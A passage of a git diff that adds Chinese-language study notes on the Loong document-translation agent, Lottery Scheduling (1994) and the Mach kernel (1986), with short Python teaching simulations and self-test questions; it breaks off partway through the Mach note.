+Loong ≈ DelTA 的记忆架构 + **Observe-and-Act 筛选** + **DPO 学策略**。 + +--- + +## 代码示例 1:极简 3E 记忆与检索(教学用) + +下面用 Python 伪代码演示 Essence / Exemplar 的「翻译一段 → 写记忆 → 下一段检索」循环。实体库用 dict 简化;embedding 用占位函数表示。 + +```python +from dataclasses import dataclass, field +from typing import List, Tuple, Dict +import numpy as np + +def embed(text: str) -> np.ndarray: + """实际论文用 all-distilroberta-v1;这里用随机向量占位。""" + rng = np.random.default_rng(abs(hash(text)) % (2**32)) + v = rng.standard_normal(768) + return v / (np.linalg.norm(v) + 1e-9) + +def top_k_by_cosine(query: str, items: List[str], k: int) -> List[str]: + q = embed(query) + scored = [(it, float(np.dot(q, embed(it)))) for it in items] + scored.sort(key=lambda x: x[1], reverse=True) + return [it for it, _ in scored[:k]] + +@dataclass +class ThreeEMemory: + essences: List[str] = field(default_factory=list) # 段摘要 + exemplars: List[Tuple[str, str]] = field(default_factory=list) # (src, tgt) 句对 + entities: Dict[str, str] = field(default_factory=dict) # src_term -> tgt_term + + def update_after_segment(self, src_sents: List[str], tgt_sents: List[str], summary: str): + self.essences.append(summary) + for s, t in zip(src_sents, tgt_sents): + self.exemplars.append((s, t)) + # 实体抽取省略:实际 Loong 用 LLM 结构化抽取六类实体 + +def retrieve_candidates(memory: ThreeEMemory, segment_src: str, k_s: int = 4, k_x: int = 4): + essence_cands = top_k_by_cosine(segment_src, memory.essences, k_s) + src_pool = [s for s, _ in memory.exemplars] + idx = top_k_by_cosine(segment_src, src_pool, k_x) + exemplar_cands = [(s, t) for s, t in memory.exemplars if s in idx] + entity_cands = {k: v for k, v in memory.entities.items() if k in segment_src} + return essence_cands, exemplar_cands, entity_cands + +# --- 模拟翻译两段的 Doc2Doc 循环 --- +memory = ThreeEMemory() + +segments = [ + "Captain Borlatin Xiao led the squad. Korren was his lieutenant.", + "The armored unit moved toward Nemic. Borlatin Xiao gave the order.", +] + +for seg in segments: + ess, ex, ent = retrieve_candidates(memory, seg) + # Loong 在此调用 Observe-and-Act LLM,从 ess/ex/ent 中再「思考+筛选」 + prompt_context = {"essence": ess, "exemplar": ex, "entity": ent} + tgt_seg = f"[TRANSLATED] {seg}" # 占位:真实系统走对齐强制 LLM 调用 + memory.update_after_segment( + src_sents=seg.split(". "), + tgt_sents=[tgt_seg], + summary=f"Summary of: {seg[:40]}...", + ) + print("segment:", seg[:50], "...") + print(" retrieved essences:", len(ess), "exemplars:", len(ex)) +``` + +要点:**检索只是候选池**;Loong 的价值在下一步 Agent **拒绝无关条目**(论文案例:10 个实体候选 prune 到 2 个,并丢弃与 record 5 重复的 record 10)。 + +--- + +## 代码示例 2:Observe-and-Act 偏好对构造(对应 §3.2) + +训练数据来自「同一观察 \(O_k\) 下,不同动作 \(A_k\) 导致不同翻译质量」。下面演示效用 \(U(A)\) 与 preferred/dispreferred 的选取逻辑(公式 3–4)。 + +```python +import random +from statistics import mean + +def comet_score(src: str, hyp: str, ref: str) -> float: + """占位:论文用 wmt22-comet-da 作为 μ。""" + # 真实实现调用 Unbabel/COMET + overlap = len(set(hyp.split()) & set(ref.split())) / max(len(ref.split()), 1) + return 80.0 + 10.0 * overlap + random.uniform(-0.5, 0.5) + +def sample_translations(src: str, context_subset, n: int = 5) -> list[str]: + """给定选中上下文,采样 n 个翻译(论文 N=5)。""" + return [f"hyp_{i}_with_{len(context_subset)}_ctx" for i in range(n)] + +def build_selection_preference(observation: dict, actions: list[dict], src: str, ref: str): + """对同一步 k,从 M 个动作中选 U 最高/最低,构成 D_sel 样本。""" + utilities = [] + for act in actions: + hyps = sample_translations(src, act["selected"]) + u = mean(comet_score(src, h, ref) for h in hyps) + utilities.append((act, u)) + best = max(utilities, key=lambda x: x[1]) + worst = min(utilities, key=lambda x: x[1]) + return { + "observation": observation, + "preferred": best[0], + "dispreferred": worst[0], + "u_plus": best[1], + "u_minus": worst[1], + } + +# 模拟 Step 1:从 4 条 Essence 摘要中选子集(M=7 种动作,这里只演示 3 种) +src_segment = "Korren reported to Captain Borlatin Xiao." +ref_segment = "科伦向博拉丁·肖上尉作了汇报。" + +candidate_summaries = [ + "Squad leadership and ranks in chapter 1", + "Weather report from previous chapter", # 噪声 + "Armored unit deployment near Nemic", + "Character name spellings: Korren, Borlatin Xiao", +] + +actions = [ + {"thought": "Summary 1,4 mention ranks and names.", "selected": [0, 3]}, + {"thought": "Use all summaries.", "selected": [0, 1, 2, 3]}, # 含噪声 → 通常更差 + {"thought": "Only summary 2.", "selected": [1]}, +] + +pref = build_selection_preference( + observation={"step": 1, "candidates": candidate_summaries}, + actions=actions, + src=src_segment, + ref=ref_segment, +) + +print("preferred utility:", pref["u_plus"]) +print("dispreferred utility:", pref["u_minus"]) +print("preferred selection indices:", pref["preferred"]["selected"]) +``` + +构造出的三元组 \((O_k, A_k^+, A_k^-)\) 与 \((\langle s_\tau, \mathcal{C}_k \rangle, t^+, t^-)\) 一起送入 **SFT → DPO**。推理时不再采样 \(M\times N\) 次,每步**一次** Observe-and-Act 即可。 + +--- + +## 实验结果速览 + +### 主结果(Table 2) + +在 News Commentary V18.1 与 WMT24++ 上,Loong 在 **sCOMET / dCOMET / LLM-as-Judge** 三项平均上 consistently SOTA。例如 Qwen3-8B、Xx⇒En、WMT24++:**LLM 分 83.5**,DelTA 为 81.1。 + +### 消融(Table 3,Llama3.1-8B En⇒Xx) + +| 设置 | Avg | 解读 | +|------|-----|------| +| Loong 完整 | 80.2 | — | +| w/o Context(只学翻译) | 77.4 | 证明「学策略」比「多看译文」重要 | +| w/o Translation(只学选择) | 63.6 | 选择与利用必须联合训练 | +| w/o Tuning | 75.4 | 微调必要 | +| w/o Essence | 79.0 | 全局摘要最关键 | +| w/o Exemplar | 79.3 | 文体例句重要 | +| w/o Entity | 79.7 | 术语一致性 | + +### 超长文档(《西游记》→ 葡萄牙语,Figure 1) + +Doc2Doc 在中途因上下文长度**翻译失败**;DelTA 等指标随长度**持续下滑**;Loong 凭结构化记忆 + selective retrieval **全程稳定**,累积 sCOMET / LLM 分最高。 + +--- + +## 与相关工作的关系 + +```text +Doc2Sent(邻句编码) → 目标侧上下文利用不足 +Doc2Doc(历史堆 prompt) → 窗口与噪声 +DelTA(3E 记忆 + 检索) → Loong 的直接前驱,缺「过滤」 +Think-and-Translate RL → 句级推理翻译;Loong 扩展到 DocMT + 多步 Observe-and-Act +DeepSeek-R1 / o1 范式 → Loong 把「采样轨迹 + 偏好优化」用到上下文策略 +``` + +--- + +## 适用 vs 不适用 + +**适用**: + +- 技术手册、新闻、小说等**长文档**机翻 +- 需要**术语一致、文体统一、跨段指代**的场景 +- 已有开源 LLM、希望用 **Agent + 记忆 + DPO** 提升 DocMT 而非换更大窗口 +- 研究 **自适应 RAG / 上下文压缩** 的 NLP 或 Agent 系统 + +**局限**(论文 Limitation): + +- 分段长度固定为 5 句,未对齐自然 discourse 边界 +- Observe-and-Act 多步推理 → **推理成本**高于 one-pass +- 奖励模型 COMET 与人工文档级偏好可能有 gap +- 实体抽取与六类属性维护增加 pipeline 复杂度 + +--- + +## 超参数备忘(复现实验) + +| 参数 | 值 | +|------|-----| +| 段长 \(l\) | 5 句 | +| \(K_s, K_x\) | 4(超长文 Essence/Exemplar 可调至 8/6) | +| 动作采样 \(M\) | 7 | +| 翻译采样 \(N\) | 5 | +| SFT | 1 epoch, lr 1e-5, batch 64, ZeRO-3 | +| DPO | 1 epoch, lr 5e-6, batch 32, \(\beta=0.1\), LoRA r=8 | +| max length | 2560 | +| 推理 temperature | 0.7, top-p 1.0 | + +--- + +## 踩过的坑(读论文时的常见误解) + +1. **Loong ≠ 更大 context window**:核心是**外部记忆 + 选择性注入**,不是把 128K 全塞满。 +2. **3E 检索 ≠ 最终上下文**:检索 top-K 只是候选;Observe-and-Act 还会**再删**。 +3. **RL 在这里主要是 DPO**:不是环境交互式 PPO;偏好来自**自己采样**的轨迹。 +4. **对齐算法不能省**:DocMT 评测依赖句对齐;不对齐则 dCOMET 与记忆更新都会失真。 +5. **Sentence 基线有时很强**:说明「加上下文」若带噪声,不如不加——Loong 的价值在**滤噪**。 + +--- + +## 自测题 + +1. 3E 三个组件分别解决什么粒度的问题? +2. 为什么 Observe-and-Act 要分三步而不是一次选出所有上下文? +3. \(\mathcal{D}_{sel}\) 和 \(\mathcal{D}_{util}\) 分别优化 Agent 的哪种能力? +4. DelTA 与 Loong 架构上最大差异是什么? +5. 对齐强制算法在什么情况下递归二分? + +
+参考答案(先自己做) + +1. Essence 管全局语义/体裁;Exemplar 管句式与文体模式;Entity 管专名与术语一致性。 +2. 联合选择空间指数级;分步将复杂度从 \(O(\prod 2^K)\) 降到 \(O(\sum 2^K)\),且便于分析各记忆类型的贡献。 +3. \(\mathcal{D}_{sel}\):**选什么**上下文;\(\mathcal{D}_{util}\):**给定上下文怎么译**。 +4. DelTA 检索后**不过滤**;Loong 增加 Observe-and-Act 推理 + DPO 学习筛选策略。 +5. 当 LLM 输出段落的句数/分隔与源段不一致,且段内多于 1 句时,切半分别调用 \(T(\cdot)\) 直到对齐或单句。 + +
+ +--- + +## 延伸阅读 + +- 论文 HTML:[arxiv.org/html/2605.30274v1](https://arxiv.org/html/2605.30274v1) +- 代码:[github.com/YutongWang1216/LoongDocMT](https://github.com/YutongWang1216/LoongDocMT) +- 前驱 DelTA(多粒度记忆 DocMT Agent):Wang et al., 2025c +- 指标:sCOMET / dCOMET(Unbabel COMET、amazon-science/doc-mt-metrics) +- 同类思路:GraphRAG、长文 Agent 记忆、DPO 偏好优化 + +--- + +## 一句话总结 + +**Loong 像带三本笔记本的资深译员:翻长文档时先检索、再思考、只把真正相关的摘要/例句/术语塞进当前 prompt,并用 DPO 把这套「观察—行动」策略练成肌肉记忆——在有限窗口下换得术语稳、文体齐、超长文不崩。** diff --git a/src/content/docs/papers/lottery-scheduling-1994.md b/src/content/docs/papers/lottery-scheduling-1994.md new file mode 100644 index 000000000..c3e8b87a0 --- /dev/null +++ b/src/content/docs/papers/lottery-scheduling-1994.md @@ -0,0 +1,311 @@ +--- +title: Lottery Scheduling 1994 — 用「彩票」做按比例公平分配 CPU +来源: https://www.usenix.org/legacy/publications/library/proceedings/osdi/full_papers/waldspurger.pdf +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象社区活动中心只有**一台跑步机**(单核 CPU),门口排着三个人: + +- **小明**买了 75 张抽奖券 +- **小红**买了 25 张抽奖券 +- 管理员每隔一小段时间摇一次奖:**抽到谁的券,谁就上去跑一小段** + +没人能保证「下一分钟一定是小明在跑」——这是随机的。但只要摇奖次数足够多,小明大约会占到 **75%** 的上机时间,小红大约 **25%**。你不需要给每个人发固定时刻表,只要管好「每人手里有多少张券」,长期比例自然就对了。 + +这就是 **Lottery Scheduling(彩票调度)** 的核心直觉:把 **资源份额** 具象成 **彩票(ticket)**,每次分配资源时抽一张中奖券,持券越多,中奖概率越大,长期 CPU 占用率就越接近票权比例。 + +论文 **Lottery Scheduling: Flexible Proportional-Share Resource Management** 由 MIT 的 **Carl A. Waldspurger** 与 **William E. Weihl** 发表于 **OSDI 1994**,并在 **Mach 3.0 微内核** 上实现了原型调度器。它属于 **proportional-share(按比例份额)** 调度家族:不追求「最短响应时间」或「最小周转时间」,而是保证各计算任务按约定比例分享 CPU、内存、锁、I/O 带宽等稀缺资源。 + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 会议 | First Symposium on Operating Systems Design and Implementation (**OSDI '94**), Monterey, CA | +| 作者 | Carl A. Waldspurger, William E. Weihl (MIT) | +| 核心机制 | 每次分配前抽奖;总票池为 \(T\),持 \(t\) 张票的客户中奖概率 \(p = t/T\) | +| 长期性质 | 期望分配比例与票权成正比;相对误差随分配次数 \(n_a\) 增大以 \(O(1/\sqrt{n_a})\) 收敛 | +| 扩展抽象 | Ticket transfer、inflation、currency、compensation ticket | +| 实现 | Mach 3.0 原型,时间片约 100ms;开销与标准 Mach 分时策略相当 | +| 后续 | 同作者博士论文(1995)提出确定性替代 **Stride Scheduling** | + +与 **固定优先级调度**(数字越小越重要)相比,彩票调度用**相对份额**表达重要性:说「A 比 B 重要 3 倍」只需给 A 3 张票、B 1 张票,不必纠结「A 是优先级 7 还是 8」。与 **微经济学式资源定价** 相比,彩票机制更简单、模块化,且 tickets 可当作一等对象传递。 + +## 为什么需要 proportional-share? + +传统调度器擅长两类目标: + +| 目标 | 典型算法 | 局限 | +|------|---------|------| +| 交互响应 / 吞吐 | 多级反馈队列 MLFQ | 难精确保证「A 永远拿 60% CPU」 | +| 硬实时截止 | Rate Monotonic / EDF | 关注 deadline,不是长期比例 | + +而数据库、多媒体、多租户云、科学计算集群等场景常需要:**不同用户/应用按合同或重要性获得可调的 CPU 份额**。例如: + +- 视频播放器前台窗口应比后台编码任务获得更多 CPU +- Monte Carlo 模拟中,新启动的实验希望「先快速出粗略结果」,老实验慢速 refine +- 项目组之间按经费或 SLA 划分算力 + +彩票调度把「份额」变成可编程的 **ticket**,使策略可以在用户态、应用层、系统层灵活组合。 + +## 核心概念一:Ticket 与抽奖算法 + +**Ticket(彩票)** 代表对某类资源的权利。若干客户竞争同一资源时: + +1. 设客户 \(c_i\) 持有 \(t_i\) 张票,总票池 \(T = \sum t_i\) +2. 在 \([0, T-1]\) 上均匀随机抽一个整数 `winner` +3. 按票区间累加,落在哪个客户的区间,谁赢得本次 **quantum(时间片)** + +数学上,客户 \(c_i\) 单次中奖概率 \(p_i = t_i/T\)。连续 \(n_a\) 次独立抽奖后,期望获胜次数 \(E[w_i] = n_a p_i\),方差 \(Var[w_i] = n_a p_i(1-p_i)\)。因此: + +- **短期**:可能出现明显波动(小红连续赢好几次) +- **长期**:实际占比趋近期望占比;百分比误差随 \(n_a\) 增大而缩小 + +Ticket 的三个设计性质(论文强调): + +| 性质 | 含义 | +|------|------| +| **Abstract(抽象)** | 同一张票可映射不同物理资源(CPU、锁、带宽) | +| **Relative(相对)** | 份额由占总票池比例决定,与绝对票数无关 | +| **Uniform(统一)** | 异构资源可用同一套 ticket 框架管理 | + +## 核心概念二:Ticket Transfer(票转让) + +客户端阻塞等待服务时,可**临时把票转给服务器**,避免 priority inversion 式的低效: + +``` +客户端 C 有 100 票,调用 RPC 阻塞在服务器 S 上 +→ C 把 100 票转给 S +→ S 以 C 的份额运行,尽快完成请求 +→ 返回后票收回 +``` + +这类似「我把我的排队权重借给你,让你替我把活干完」。论文指出,相比单纯提高服务器静态优先级,transfer 让**动态重要性**自然跟随调用链传递。 + +## 核心概念三:Ticket Inflation / Deflation(通胀 / 紧缩) + +在**互信**客户之间,某方可**增发票**(inflation)以提高自己短期中奖率,无需逐张转让。典型场景: + +- 用户拖动滑块提高前台视频窗口质量 → 对该窗口关联进程 inflate tickets +- 图形程序先粗渲染 wireframe(高票),再 deflation 把资源让给交互 + +Inflation 在不可信环境需谨慎:恶意进程可无限印钞。因此论文引入 **currency** 与访问控制。 + +## 核心概念四:Ticket Currency(货币) + +多个管理域(项目、用户、应用)可用**不同货币**计价票,货币之间形成**有向无环图**的兑换关系,底层锚定一种 **base currency** 的守恒票池: + +``` +系统 base: 10000 票 + ├─ 项目 A 货币(兑换率 1 A = 10 base)→ 管理员发 100 A-tickets + └─ 项目 B 货币(兑换率 1 B = 5 base) +``` + +效果: + +- **隔离**:各组策略互不干扰 +- **组合**:用户可属多组;组 A 可「资助」组 B(发 A 面额票给 B) +- **保护**:ACL 控制谁能 inflate 某种货币 + +Ticket 像「可分割、可兑换、可转让的计算经济货币」。 + +## 核心概念五:Compensation Ticket(补偿票) + +I/O 密集型进程常**用不满整个时间片**就阻塞(等磁盘、等网络)。若票权相同,CPU 密集型进程会因「多跑满片」而实际占用远超比例。 + +**补偿机制**:若某客户只用了量子的一小部分 \(f\)(例如 1/5),则在其下次参与抽奖前,临时把有效票放大到 \(1/f\) 倍,直到重新获得 CPU: + +- A、B 各 400 票,B 每次只用 1/5 量子 +- B yield 时获得补偿,下次等效 2000 票 +- 长期 A:B 实际 CPU 时间恢复 **1:1** + +这使 **proportional-share 对 I/O bound 与 CPU bound 混合负载仍然公平**。 + +## 实现:从 O(n) 链表到 O(log n) 树 + +论文给出两种实现: + +| 结构 | 单次 `allocate()` | 适用 | +|------|------------------|------| +| 链表扫描 | \(O(n_c)\) 客户数 | 原型、客户少 | +| 二叉树 partial sum | \(O(\log n_c)\) | 客户多、票分布不均 | + +优化技巧:按票数降序排列 + move-to-front,因大户中奖频率高,均摊搜索更短。 + +**动态性优势**:每次抽奖独立,**无 per-client 调度状态**需在改票数时重算。增减客户、改票分配,下一次 `allocate()` 自动反映新比例——这是随机化相对确定性 stride 的早期卖点之一。 + +## 代码示例一:最小彩票调度器(Python 模拟) + +下面用几十行 Python 模拟「每轮抽 CPU」;与论文 Figure 3-2 的 C 链表算法同构: + +```python +import random +from dataclasses import dataclass + +@dataclass +class Client: + name: str + tickets: int + wins: int = 0 + +def pick_winner(clients: list[Client]) -> Client: + """在 [0, T) 上抽 winner,线性扫描票区间(论文 list-based lottery)。""" + total = sum(c.tickets for c in clients) + winner = random.randrange(total) # 等价 fast_random() % global_tickets + runsum = 0 + for c in clients: + runsum += c.tickets + if runsum > winner: + return c + return clients[-1] + +def simulate(clients: list[Client], rounds: int = 10_000) -> None: + for _ in range(rounds): + w = pick_winner(clients) + w.wins += 1 + total_wins = sum(c.wins for c in clients) + for c in clients: + share = c.wins / total_wins + expected = c.tickets / sum(x.tickets for x in clients) + print(f"{c.name}: tickets={c.tickets}, actual={share:.1%}, expected={expected:.1%}") + +if __name__ == "__main__": + jobs = [Client("video", 75), Client("batch", 25)] + simulate(jobs) + # 典型输出:video ≈ 75%, batch ≈ 25%(随 round 数有随机波动) +``` + +运行多次可观察:**rounds=100 时波动大,rounds=100000 时非常接近 75/25**。这正是论文用概率论解释的长期公平。 + +## 代码示例二:RPC 场景下的 Ticket Transfer + +第二个例子展示 **transfer** 如何解决「客户端阻塞、服务器缺票」: + +```python +from contextlib import contextmanager + +@dataclass +class Process: + name: str + tickets: int + _saved: int = 0 + +@contextmanager +def ticket_transfer(client: Process, server: Process): + """客户端阻塞在服务器上时,临时把票转给服务器(论文 §3.1 Ticket Transfers)。""" + server._saved = server.tickets + transferred = client.tickets + server.tickets += transferred + client.tickets = 0 + try: + yield + finally: + client.tickets = transferred + server.tickets = server._saved + +def run_rpc(client: Process, server: Process) -> None: + print(f"before RPC: client={client.tickets}, server={server.tickets}") + with ticket_transfer(client, server): + print(f"during RPC: client={client.tickets}, server={server.tickets}") + # 服务器在此以 client+server 的总票权运行 + print(f"after RPC: client={client.tickets}, server={server.tickets}") + +# 用户进程 100 票,内核服务器初始 10 票 +user = Process("app", 100) +kernel_server = Process("vfs", 10) +run_rpc(user, kernel_server) +``` + +没有 transfer 时,服务器只有 10 票,即使用户再重要,RPC 处理也慢;transfer 后服务器暂时持有 110 票,**端到端延迟**与**用户应得份额**一致。 + +## 代码示例三:补偿票(Compensation)草图 + +```python +def compensate(client: Process, fraction_used: float) -> None: + """fraction_used in (0, 1];用不满量子则临时放大票权至 1/f(论文 §3.4)。""" + if fraction_used <= 0: + return + boost = int(client.tickets / fraction_used) + client.tickets = boost # 简化:下次抽奖前有效;新 quantum 开始后恢复 + +# B 与 A 各 400 票,但 B 每次 I/O 等待只用 20% 量子 +io_bound = Process("db_client", 400) +compensate(io_bound, fraction_used=0.2) # 等效 2000 票直到下次运行 +``` + +完整 Mach 实现会在 `allocate()` 末尾根据 `elapsed/quantum` 调用 `compensate()`,且补偿是**瞬态**的。 + +## 与 Stride Scheduling 的对比(论文家族延伸) + +同作者 1995 博士论文提出 **Stride Scheduling**:为每个客户维护 **stride**(步长),用确定性 pass 值选下一个运行者。 + +| 维度 | Lottery | Stride | +|------|---------|--------| +| 随机性 | 有,短期波动 | 无,短期更平滑 | +| 动态改票 | 极简单(无状态) | 需更新 pass,但也可高效 | +| 实现复杂度 | 低 | 中等 | +| 误差 | 概率收敛 | 确定性逼近份额 | + +OS 教材(如 OSTEP)常把 Lottery 作为入门,Stride 作为「想要更稳定短期行为」的进阶。Linux **CFS(Completely Fair Scheduler)** 的 `vruntime` 思想与 stride 一脉相承,而非直接抽奖。 + +## 论文实验与结论要点 + +Mach 3.0 原型实验包括: + +1. **相对执行速率控制**:动态改票后,实测 CPU 比例快速跟踪新票权 +2. **多媒体 / 视频**:配合 inflation,用户可把资源集中到当前关注窗口 +3. **Monte Carlo**:按相对误差动态调票——新实验高票快收敛,旧实验低票慢 refine +4. **多资源**:锁、内存、磁盘带宽也可用同一 ticket 框架(含 inverse lottery 等变体) + +结论:**彩票调度用极简随机机制实现了灵活、响应快的 proportional-share 控制**;模块化 ticket 抽象让策略可组合;开销与常规分时调度同量级。 + +## 局限与实务注意 + +| 问题 | 说明 | +|------|------| +| 短期不公平 | 实时音视频可能无法忍受几百毫秒内的比例抖动 → 可用 multi-winner lottery 或 stride | +| 安全性 | inflation 需 currency + ACL,防恶意印钞 | +| 单线程服务器瓶颈 | 论文指出:若服务器串行处理请求,客户端票权再合理也受限于服务器结构 | +| 多核 | 经典论文针对单资源;现代 OS 在多核上扩展需 per-CPU 运行队列与全局份额核算 | + +## 与周边知识的关系 + +```text +调度器光谱 +├── 硬实时:RM / EDF(deadline 可证明) +├── 分时交互:MLFQ / CFS(延迟与公平启发式) +└── 比例份额:Lottery / Stride / Fair-share(可编程份额) + ↑ + Waldspurger & Weihl 1994 开辟的「票权」路线 +``` + +读本文时可对照: + +- **Liu & Layland 1973**:周期任务与利用率上界(硬实时) +- **Mach 微内核**:论文实现平台 +- **《Operating Systems: Three Easy Pieces》第 9 章**:Lottery 友好入门 + +## 自测题 + +1. 三个进程票数为 2:3:5,总池 10。某进程持 3 票,单次中奖概率是多少? +2. 为何 I/O 密集进程需要 compensation ticket? +3. Ticket transfer 与单纯提高服务器静态优先级有何不同? +4. 若只有 10 次抽奖,75:25 票权的两进程,实际比例可能偏离很大,这违反 proportional-share 吗? + +
+参考答案 + +1. \(3/10 = 30\%\)。 +2. 否则 CPU 密集进程会占满更多完整量子,I/O 进程虽票权相同却实际吃亏。 +3. Transfer 把**调用者**的份额临时绑定到**当前服务链**,动态、可收回;静态优先级无法随 RPC 关系变化。 +4. 不违反。Proportional-share 通常指**长期期望或极限**意义下的比例;短期方差是 lottery 的已知代价。 + +
+ +--- + +**一句话总结**:Waldspurger & Weihl 1994 用「抽彩票」把 CPU 份额变成可传递、可通胀、可补偿的 **ticket**,在 Mach 上实现了简单、模块化、长期精确的 **proportional-share** 资源管理——为多媒体、多租户与可编程 QoS 调度开了路。 diff --git a/src/content/docs/papers/mach-rashid-1986.md b/src/content/docs/papers/mach-rashid-1986.md new file mode 100644 index 000000000..837f3b079 --- /dev/null +++ b/src/content/docs/papers/mach-rashid-1986.md @@ -0,0 +1,301 @@ +--- +title: Mach 1986 — 给 UNIX 换一块能跨机器生长的内核地基 +来源: https://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/publications/usenix86.pdf +日期: 2026-06-13 +子分类: 内核与虚拟化 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你住在一栋**老式百货大楼**里:4.3BSD UNIX 内核就像这栋楼的物业——收银、仓库、物流、客服、安保、装修队全挤在一层,每加一个新功能就要改整栋楼的管线和消防通道。1980 年代 Berkeley 内核越长越大,改一个驱动可能牵动全局,研究者和厂商都越来越难动它。 + +**Mach**(卡内基梅隆大学,1986 年 USENIX)提出的办法是:只保留一个精简的**物业中心**——负责调度 CPU、管理虚拟内存、在进程之间传消息、在多处理器上同步;而把 UNIX 的文件系统、进程管理、网络栈 gradually 迁到楼外的**独立商铺**(用户态 server)。商铺之间不靠共享全局变量说话,而是走**统一的消息邮箱(port)**。 + +这篇论文的全名是 *Mach: A New Kernel Foundation for UNIX Development*,作者包括 Mike Accetta、Robert Baron、William Bolosky、David Golub、Richard Rashid、Avadis Tevanian、Michael Young。它要回答的不是「再做一个更好的 UNIX」,而是:**能不能换一块更小、更统一、可扩展的内核地基,同时仍跑 4.3BSD 二进制程序?** + +## 这篇论文在说什么 + +Mach 是一个**多处理器操作系统内核**,目标环境从单核工作站到上百 CPU 的大型共享内存多机,再到局域网里的一群机器(论文 Figure 1)。相对 4.3BSD,它新增的能力包括: + +- **Task / Thread 分离**:一个「进程」拆成资源容器(task)和 CPU 执行单位(thread),多核上可在一个 task 里并行多个 thread +- **大稀疏虚存 + 写时复制(COW)**:fork、大消息传递、内存映射文件共用同一套 COW 机制 +- **基于 port 的 IPC**:带类型、带 capability 的消息;理论上可透明延伸到网络 +- **用户态 pager**:缺页时可以问用户态「分页 server」要数据,而不必写死在内核里 + +论文写于 **1986 年 4 月**。当时除 **thread 机制尚在完善**外,Mach 的 trap 处理、调度、多处理器同步、虚存、IPC 已在 CMU 内部**生产使用**——不是幻灯片架构,而是能在 VAX 上跑的研究平台。 + +## 为什么值得读(即使你不用 Mach) + +不读这篇 1986 论文,后面很多设计会显得「凭空出现」: + +| 现象 | 与 Mach 的关系 | +|------|----------------| +| macOS / iOS 内核叫 **XNU**,仍有 `mach_msg` | NeXT 1989 选 Mach 2.5,Apple 收购 NeXT 后一路继承 | +| **fork()** 几乎不复制物理内存 | Mach 把 COW 与 IPC 绑在一起工程化 | +| **GNU Hurd** 把文件系统做成用户态 server | 直接受「内核只留最小抽象」路线启发 | +| Tanenbaum vs Linus 的微内核之争 | Tanenbaum 拿 Mach 路线批评 monolithic Linux | +| **L4 / seL4 / Fuchsia Zircon** | 专治 Mach 3.0 时代 IPC 太慢的问题,但保留 message + capability 思想 | + +Mach 的历史地位:**第一次系统地把「微内核思路 + UNIX 兼容 + 多处理器 + 网络透明」捆成可运行平台**。它后来在服务器上「输给」Linux,却在 **NeXT → Apple** 路径上活到了今天你的 iPhone 里。 + +## 核心概念(五个抽象 + 一条迁移路线) + +Mach 内核只承诺 **四个基本抽象**(论文 §2);工程上常把 **memory object(VM object)** 算作第五个,因为分页策略是整套设计的关键。 + +### 1. Task —— 资源容器 + +Task 是**资源分配的基本单位**,包含: + +- 一个分页虚拟地址空间 +- 对处理器、port 能力、虚拟内存等系统资源的受保护访问 + +日常类比:task 像**一整间带门锁的办公室**——里面的 thread 共享文件柜、白板和配额;换 task 等于换办公室,默认互不相通。 + +UNIX 里一个传统 **process** 在 Mach 里大致是 **一个 task + 一个 thread**(1986 时 thread 仍在完善)。 + +### 2. Thread —— CPU 上的执行流 + +Thread 是 **CPU 调度的基本单位**,有自己的程序计数器和寄存器,但**共享**所属 task 的地址空间和 port 权利。 + +为什么 UNIX 的 process 不够用了?论文 §3 指出:服务器用 `fork` 为每个客户端建进程开销巨大;多处理器上要用满 N 个核,至少需要 N 个可调度实体——用户态 coroutine 包内核看不见,**Mach 用 thread 把并行交给内核调度**。 + +### 3. Port —— 受保护的消息队列 + +Port 是 Mach 的**引用对象**,逻辑上是内核保护的**有限长度消息队列**: + +- 可有**多个发送者**,通常只有**一个接收者** +- 访问靠 **capability**:send right、receive right 等 +- 创建 task / thread / 窗口对象时,内核返回代表该对象的 port + +和面向对象类比:**port = 对象引用,发消息 = 跨地址空间的方法调用**。论文用 Flamingo 窗口系统举例:每个窗口是一个 port,客户端向 port 发消息请求重绘。 + +### 4. Message —— 带类型的 IPC 包 + +Message = 固定头 + 可变体,可携带: + +- 普通数据 +- 指向用户空间的指针(配合虚存) +- **嵌套的 port capability**(把「钥匙」转交给别人) + +除 message 本身外,**几乎所有内核操作都建模成「向某个 port 发消息」**。内核自己也像 server:在 task/thread port 上收消息并执行 suspend、resume 等操作。 + +### 5. Memory Object / VM Object —— 分页边界外置 + +虚拟内存区域可绑定 **pager**(分页 server)。缺页时内核不直接读磁盘,而是向 pager 的 port 要页。这样**文件系统、匿名内存、网络分页**有机会跑在用户态——内核维护 cache 和映射关系。 + +论文 §4–§5 的数据结构:**address map**(每 task 一份)、**share map**(共享区 indirection)、**VM object**(后备存储单元)、**shadow object**(COW fault 后的影子页)。 + +### 6. 写时复制:IPC 与虚存是一件事 + +Mach 继承 Accent 的核心经验:**大消息不必 memcpy 整个地址空间**。 + +论文 Figure 5 描述的过程(简化): + +1. Task A 向 port 发送一条「很大」的消息(例如 24MB) +2. 发送时,A 地址空间里对应页面标为 **copy-on-write** +3. 数据暂放在内核临时映射里,直到 Task B receive +4. B 收到后,内核决定把页面映射进 B 的地址空间 +5. A 或 B **第一次写**某一页时,才复制那一页 + +**fork** 同理:子 task 继承父 task 的 map,默认 **inherit copy-on-write**;也可 per-page 设为 share、copy 或 none(§4 的 allocate/protect/inherit 例子)。 + +Accent 上的评测表明:集成 VM 与 IPC 后,IPC 性能可接近传统 UNIX(论文引用 [3] Fitzgerald & Rashid, TOCS 1986)。 + +### 7. 与 4.3BSD 的关系(1986 实际状态 vs 目标) + +1986 年的落地是**渐进替换**(论文 §8、Figure 6): + +| 层次 | 1986 年 Mach 做什么 | +|------|---------------------| +| 陷阱、调度、多处理器同步、虚存、IPC | **Mach 内核**直接提供 | +| 4.3BSD 语义(文件、信号、大部分 syscall) | 跑在 **kernel-state threads**,由 Mach 调度 | +| 长期目标 | 把非 Mach 的 UNIX 功能迁出内核,变成 **user-state tasks** | + +论文原话:Berkeley 内核体积膨胀已经威胁 UNIX 作为研究平台的**简单与可修改性**;目标是 **「kernelize」UNIX**——更小、更易改、更适配新硬件和网络。 + +**重要**:Figure 6 里标注,截至 1986 年 4 月,「UNIX compatibility」盒子**仍在 kernel state**,通过共享通信队列与 Mach 层对话——不是一夜变成纯微内核。 + +## 代码示例 + +下面例子帮助零基础读者把抽象落到「长什么样」。API 名称随 